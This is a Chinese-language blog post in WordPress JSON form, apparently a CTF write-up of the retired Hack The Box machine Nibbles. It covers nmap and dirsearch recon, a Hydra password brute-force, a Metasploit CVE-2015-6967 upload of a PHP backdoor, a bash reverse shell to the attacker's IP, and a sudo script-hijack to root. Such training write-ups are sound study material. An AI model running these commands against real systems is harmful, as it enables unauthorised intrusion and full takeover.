{"id":98,"date":"2024-11-13T09:09:37","date_gmt":"2024-11-13T01:09:37","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=98"},"modified":"2024-11-13T09:51:59","modified_gmt":"2024-11-13T01:51:59","slug":"htb_machine_nibbles","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_nibbles\/","title":{"rendered":"HTB\u9776\u673a Nibbles \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.10.75<\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
\u250c\u2500\u2500(root\u327fattacker)-[\/home\/\u2026\/Documents\/vulnhub_notes\/nibbles\/nmap_results]\n\u2514\u2500# ping -c 4 10.10.10.75\nPING 10.10.10.75 (10.10.10.75) 56(84) bytes of data.\n64 bytes from 10.10.10.75: icmp_seq=1 ttl=63 time=271 ms\n64 bytes from 10.10.10.75: icmp_seq=2 ttl=63 time=270 ms\n64 bytes from 10.10.10.75: icmp_seq=3 ttl=63 time=312 ms\n64 bytes from 10.10.10.75: icmp_seq=4 ttl=63 time=269 ms\n\n--- 10.10.10.75 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3002ms\nrtt min\/avg\/max\/mdev = 269.318\/280.485\/311.935\/18.164 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u826f\u597d\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.94SVN scan initiated Sun Jun  9 17:08:57 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.75\nNmap scan report for 10.10.10.75 (10.10.10.75)\nHost is up (0.27s latency).\nNot shown: 65533 closed tcp ports (reset)\nPORT   STATE         SERVICE\n22\/tcp open|filtered ssh\n80\/tcp open|filtered http\n\n# Nmap done at Sun Jun  9 17:09:37 2024 -- 1 IP address (1 host up) scanned in 39.40 seconds<\/code><\/pre>\n
\u9776\u673a\u5f00\u653e\u4e862<\/code>\u4e2aTCP<\/code>\u7aef\u53e3\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Sun Jun  9 17:12:13 2024 as: nmap -sS -sV -A -p 22,80 -oN .\/tcp_result.txt 10.10.10.75\nNmap scan report for 10.10.10.75 (10.10.10.75)\nHost is up (0.27s latency).\n\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)\n|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)\n|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)\n80\/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))\n|_http-title: Site doesn't have a title (text\/html).\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 3.12 (93%), Linux 3.13 (93%), Linux 3.16 (93%), Linux 3.2 - 4.9 (93%), Linux 3.8 - 3.11 (93%), Linux 4.8 (93%), Linux 4.4 (92%), Linux 4.9 (92%), Linux 3.18 (92%), Linux 4.2 (92%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 80\/tcp)\nHOP RTT       ADDRESS\n1   273.67 ms 10.10.14.1 (10.10.14.1)\n2   273.66 ms 10.10.10.75 (10.10.10.75)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Jun  9 17:12:36 2024 -- 1 IP address (1 host up) scanned in 23.17 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.94SVN scan initiated Sun Jun  9 17:12:11 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.75\nWarning: 10.10.10.75 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.75 (10.10.10.75)\nHost is up (0.28s latency).\nAll 65535 scanned ports on 10.10.10.75 (10.10.10.75) are in ignored states.\nNot shown: 65173 open|filtered udp ports (no-response), 362 closed udp ports (port-unreach)\n\n# Nmap done at Sun Jun  9 17:18:13 2024 -- 1 IP address (1 host up) scanned in 362.19 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<\/strong>Ubuntu Linux<\/code>\uff0c\u5185\u6838\u7248\u672c\u5927\u81f4\u4e3a<\/strong>Linux 3.12<\/code>\u3002<\/strong><\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u7aef\u53e3Banner<\/code>\uff1a<\/p>\n
\u250c\u2500\u2500(root\u327fattacker)-[\/home\/\u2026\/Documents\/vulnhub_notes\/nibbles\/nmap_results]\n\u2514\u2500# nc -nv 10.10.10.75 22\n(UNKNOWN) [10.10.10.75] 22 (ssh) open\nSSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2<\/code><\/pre>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/10.10.10.75\/<\/code><\/p>\n
\"\"<\/p>\n
\u5728\u6ce8\u91ca\u4e2d\u53d1\u73b0\u4e86\u76ee\u5f55\/nibbleblog\/<\/code>\u3002<\/p>\n
\u8bbf\u95eehttp:\/\/10.10.10.75\/nibbleblog\/<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\u672a\u5728\u4e3b\u9875\u4e0a\u53d1\u73b0\u4efb\u4f55\u6709\u6548\u4fe1\u606f\u3002<\/p>\n
\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n
# Dirsearch started Tue Jun 11 10:08:08 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/10.10.10.75\/nibbleblog\/ -x 400,403,404 -t 60\n\n301   321B   http:\/\/10.10.10.75\/nibbleblog\/admin    -> REDIRECTS TO: http:\/\/10.10.10.75\/nibbleblog\/admin\/\n200   517B   http:\/\/10.10.10.75\/nibbleblog\/admin\/\n200   606B   http:\/\/10.10.10.75\/nibbleblog\/admin.php\n301   332B   http:\/\/10.10.10.75\/nibbleblog\/admin\/js\/tinymce    -> REDIRECTS TO: http:\/\/10.10.10.75\/nibbleblog\/admin\/js\/tinymce\/\n200   564B   http:\/\/10.10.10.75\/nibbleblog\/admin\/js\/tinymce\/\n301   323B   http:\/\/10.10.10.75\/nibbleblog\/content    -> REDIRECTS TO: http:\/\/10.10.10.75\/nibbleblog\/content\/\n200   485B   http:\/\/10.10.10.75\/nibbleblog\/content\/\n200   724B   http:\/\/10.10.10.75\/nibbleblog\/COPYRIGHT.txt\n200    92B   http:\/\/10.10.10.75\/nibbleblog\/install.php\n200    92B   http:\/\/10.10.10.75\/nibbleblog\/install.php?profile=default\n301   325B   http:\/\/10.10.10.75\/nibbleblog\/languages    -> REDIRECTS TO: http:\/\/10.10.10.75\/nibbleblog\/languages\/\n200    12KB  http:\/\/10.10.10.75\/nibbleblog\/LICENSE.txt\n301   323B   http:\/\/10.10.10.75\/nibbleblog\/plugins    -> REDIRECTS TO: http:\/\/10.10.10.75\/nibbleblog\/plugins\/\n200   694B   http:\/\/10.10.10.75\/nibbleblog\/plugins\/\n200     5KB  http:\/\/10.10.10.75\/nibbleblog\/README\n200   498B   http:\/\/10.10.10.75\/nibbleblog\/themes\/\n301   322B   http:\/\/10.10.10.75\/nibbleblog\/themes    -> REDIRECTS TO: http:\/\/10.10.10.75\/nibbleblog\/themes\/\n200   815B   http:\/\/10.10.10.75\/nibbleblog\/update.php<\/code><\/pre>\n
\u8bbf\u95ee\/update.php<\/code>\uff0c\u70b9\u51fb\u9875\u9762\u4e0a\u7684\u94fe\u63a5\uff0c\u53d1\u73b0\u8be5\u7cfb\u7edf\u4e3aNibbleBlog CMS v4.0.3<\/code>\u3002<\/p>\n
\"\"<\/p>\n
\u8bbf\u95ee\u9875\u9762\u7ed9\u51fa\u7684\u7f51\u5740\uff1ahttp:\/\/10.10.10.75\/nibbleblog\/content\/private\/<\/code>:<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u8be5\u76ee\u5f55\u4e0b\u5b58\u5728\u5927\u91cfXML<\/code>\u6587\u4ef6\uff0c\u5747\u4e3a\u914d\u7f6e\u6587\u4ef6\u3002<\/p>\n
\u5c1d\u8bd5\u8bbf\u95eeuser.xml<\/code>\u6587\u4ef6\uff1a<\/p>\n
<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<users><user username=\"admin\"><id type=\"integer\">0<\/id><session_fail_count type=\"integer\">2<\/session_fail_count><session_date type=\"integer\">1718072071<\/session_date><\/user><blacklist type=\"string\" ip=\"10.10.10.1\"><date type=\"integer\">1512964659<\/date><fail_count type=\"integer\">1<\/fail_count><\/blacklist><blacklist type=\"string\" ip=\"10.10.14.9\"><date type=\"integer\">1718072047<\/date><fail_count type=\"integer\">5<\/fail_count><\/blacklist><\/users><\/code><\/pre>\n
\u53d1\u73b0\u8be5\u6587\u4ef6\u5305\u542b\u4e86\u7528\u6237\u540dadmin<\/code>\u3002<\/p>\n
\u8bbf\u95eeadmin.php<\/code>\uff0c\u53d1\u73b0\u4e3a\u540e\u53f0\u767b\u5f55\u9875\u9762\uff1a<\/p>\n
\"\"<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
\u793e\u5de5\u5b57\u5178\u66b4\u529b\u7834\u89e3<\/h2>\n
\u5728\u670d\u52a1\u63a2\u6d4b\u9636\u6bb5\uff0c\u5df2\u7ecf\u901a\u8fc7\u679a\u4e3e\u7f51\u7ad9\u914d\u7f6e\u76ee\u5f55\u548c\u76ee\u5f55\u626b\u63cf\u65b9\u6cd5\u786e\u5b9a\u4e86\u7f51\u7ad9\u7684\u7ba1\u7406\u5458\u7528\u6237\u540dadmin<\/code>\u548c\u540e\u53f0\u767b\u5f55\u9875admin.php<\/code>\u3002\u73b0\u5728\u5c1d\u8bd5\u5bf9\u8be5\u7528\u6237\u7684\u5bc6\u7801\u8fdb\u884c\u731c\u6d4b\u3002<\/p>\n
\u5c06\u4e3b\u9875http:\/\/10.10.10.75\/nibbleblog\/<\/code>\u4e0a\u7684\u4fe1\u606f\u4fdd\u5b58\u4e3a\u5bc6\u7801\u5b57\u5178\uff1a<\/p>\n
cewl http:\/\/10.10.10.75\/nibbleblog\/ >> .\/word.lst<\/code><\/pre>\n
\u968f\u540e\u4f7f\u7528BurpSuite<\/code>\u622a\u53d6\u767b\u5f55\u6d41\u91cf\u5305\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u5bc6\u7801\u9519\u8bef\u65f6\u9875\u9762\u4f1a\u8fd4\u56deIncorrect<\/code>\u6807\u8bb0\u6587\u672c\u3002<\/p>\n
\u76f4\u63a5\u4f7f\u7528Hydra<\/code>\u7206\u7834\u5bc6\u7801\uff1a<\/p>\n
hydra -l admin -P .\/word.lst -e nsr -t 60 -f 10.10.10.75 http-post-form \"\/nibbleblog\/admin.php:username=^USER^&password=^PASS^&remember=1:Forgot\"<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u627e\u5230Web<\/code>\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n
    \n
  • \u7528\u6237\u540d\uff1a<\/strong>**admin**<\/code><\/li>\n
  • \u5bc6\u7801\uff1a<\/strong>**nibbles**<\/code><\/li>\n<\/ul>\n
    \u76f4\u63a5\u767b\u5f55\u540e\u53f0\uff1a<\/p>\n
    \"\"<\/p>\n
    \u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u5229\u7528<\/h2>\n
    \u5c1d\u8bd5\u641c\u7d22Exploit-DB<\/code>\uff0c\u53d1\u73b0NibbleBlog CMS v4.0.3<\/code>\u7248\u672c\u6709\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\uff08CVE-2015-6967<\/code>\uff09\uff0c\u5e76\u4e14\u6709\u5bf9\u5e94\u7684Metasploit<\/code>\u6a21\u5757\u3002<\/p>\n
    \u76f4\u63a5\u542f\u52a8Metasploit<\/code>\uff0c\u653b\u51fb\u540e\u4e0a\u4f20\u6301\u4e45\u540e\u95e8\uff1a<\/p>\n
    msfconsole\nsearch CVE-2015-6967\nuse 0\nset RHOSTS 10.10.10.75\nset TARGETURI \/nibbleblog\nset USERNAME admin\nset PASSWORD nibbles\nset LHOST 10.10.14.9\nset LPORT 443\nrun\nupload \/home\/megumin\/Documents\/pentest_notes\/nibbles\/sparkle.php \/var\/www\/html\/nibbleblog\/content\/private\/plugins\/my_image\/sparkle.php<\/code><\/pre>\n
    \"\"<\/p>\n
    \u6210\u529f\uff01<\/strong>\u76f4\u63a5\u8bbf\u95eehttp:\/\/10.10.10.75\/nibbleblog\/content\/private\/plugins\/my_image\/sparkle.php<\/code>\uff1a<\/p>\n
    \"\"<\/p>\n
    \u53d1\u73b0\u540e\u95e8\u53ef\u4ee5\u4f7f\u7528\uff0c\u76f4\u63a5\u53cd\u5f39Shell\uff1a<\/p>\n
    \/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.14.9\/443 0>&1'<\/code><\/pre>\n
    \"\"<\/p>\n
    \u6210\u529f\uff01\uff01<\/strong><\/p>\n
    \n
    \u6743\u9650\u63d0\u5347<\/h1>\n
    Sudo\u63d0\u6743<\/h2>\n
    \u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u53d1\u73b0nibbler<\/code>\u7528\u6237\u53ef\u4ee5\u4ee5root<\/code>\u6743\u9650\u8fd0\u884c\u811a\u672c\/home\/nibbler\/personal\/stuff\/monitor.sh<\/code>\uff0c\u4f46\u5f53\u524d\u7528\u6237\u5bb6\u76ee\u5f55\u4e0b\u6ca1\u6709\u8fd9\u4e2a\u6587\u4ef6\uff0c\u53ef\u4ee5\u76f4\u63a5\u521b\u5efa\uff1a<\/p>\n
    \"\"<\/p>\n
    \u521b\u5efa\u5982\u4e0b\u5185\u5bb9\u811a\u672c\uff1a<\/p>\n
    #! \/bin\/bash\npasswd root<\/code><\/pre>\n
    \u968f\u540e\u76f4\u63a5\u4f7f\u7528sudo<\/code>\u6267\u884c\u8be5\u811a\u672c\uff1a<\/p>\n
    \"\"<\/p>\n
    \u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n
    \n
    Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n
    8f848559d0c6f77e8616060816471724<\/code><\/pre>\n
    \n
    \u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n
    \n","protected":false},"excerpt":{"rendered":"
    \u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.75 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fattacker)-[\/home\/\u2026\/Doc …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-98","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/98","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=98"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/98\/revisions"}],"predecessor-version":[{"id":99,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/98\/revisions\/99"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=98"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=98"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=98"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}